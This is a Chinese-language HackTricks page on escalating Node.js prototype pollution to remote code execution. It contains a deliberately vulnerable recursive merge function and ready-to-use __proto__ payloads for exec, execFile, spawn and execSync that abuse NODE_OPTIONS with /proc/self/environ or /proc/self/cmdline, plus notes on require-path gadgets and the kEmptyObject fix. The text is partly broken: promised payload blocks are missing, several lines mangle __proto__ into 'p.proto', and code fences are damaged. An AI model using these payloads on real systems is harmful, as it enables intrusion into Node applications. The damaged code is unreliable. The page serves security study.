Prototype Pollution to RCE

从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

可能受到影响的代码

想象一个真实的JS使用以下代码:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

通过环境变量实现PP2RCE

PP2RCE 意味着 原型污染到远程代码执行(Remote Code Execution)。

根据这个解说,当使用 child_process 中的某个方法(如 forkspawn 或其他方法)生成一个 进程 时,它会调用方法 normalizeSpawnArguments,这个方法利用 原型污染小工具来创建新的环境变量

污染 __proto__

DNS 交互

使用以下有效载荷,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测是否起作用:

或者,为了避免WAF要求域名:

PP2RCE漏洞child_process函数

在这一部分中,我们将分析child_process中的每个函数,以执行代码并查看是否可以使用任何技术来强制该函数执行代码:

exec利用
execFile利用

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

spawn利用

```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - not working // Not using stdin

// Windows // NOT working after require(fix) without options const { spawn } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawn('something'); //var proc = spawn('something',[],{"cwd":"C:\"}); //To work after kEmptyObject (fix)

execSync利用

```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execSync('something');

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execSync('something');

// stdin trick - working // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/execSync-stdin}\n' var proc = execSync('something');

// Windows // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');

强制执行Spawn

在之前的示例中,您看到了如何触发一个功能,该功能需要调用spawn(用于执行某些操作的child_process的所有方法都会调用它)。在之前的示例中,这是代码的一部分,但如果代码没有调用它呢。

控制require文件路径

在这个其他解释中,用户可以控制文件路径,其中将执行require。在这种情况下,攻击者只需要找到系统中将在导入时执行spawn方法的.js文件。 一些常见文件导入时调用spawn函数的示例包括:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • 查找下面的更多文件

以下简单脚本将搜索来自child_process的调用,而不带任何填充(以避免显示在函数内部的调用):

相对路径加载 - 1

如果加载的是相对路径而不是绝对路径,您可以让节点加载不同的路径

相对路径 require - 2

```javascript const { fork } = require('child_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); ``` #### 相对路径 require - 3

类似于前一个示例,这个漏洞在这篇文章中被发现。

VM Gadgets

在论文https://arxiv.org/pdf/2207.11171.pdf中还指出,可以利用**vm库的某些方法中的contextExtensions的控制作为一个gadget。 然而,就像之前的child_process方法一样,在最新版本中已经被修复**。

Fixes & Unexpected protections

请注意,如果正在访问的对象的属性undefined,则原型污染会起作用。如果在代码中为该属性设置了一个,则无法覆盖它。

在2022年6月,从此提交中,变量options不再是{},而是**kEmptyObject。这样可以防止原型污染影响options属性以获取RCE。 至少从v18.4.0开始,这种保护已经实施**,因此影响这些方法的spawnspawnSync利用(如果未使用options不再起作用

此提交中,还在某种程度上修复了vm库中**contextExtensions原型污染**,将选项设置为**kEmptyObject而不是{}**。

其他 Gadgets

References

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于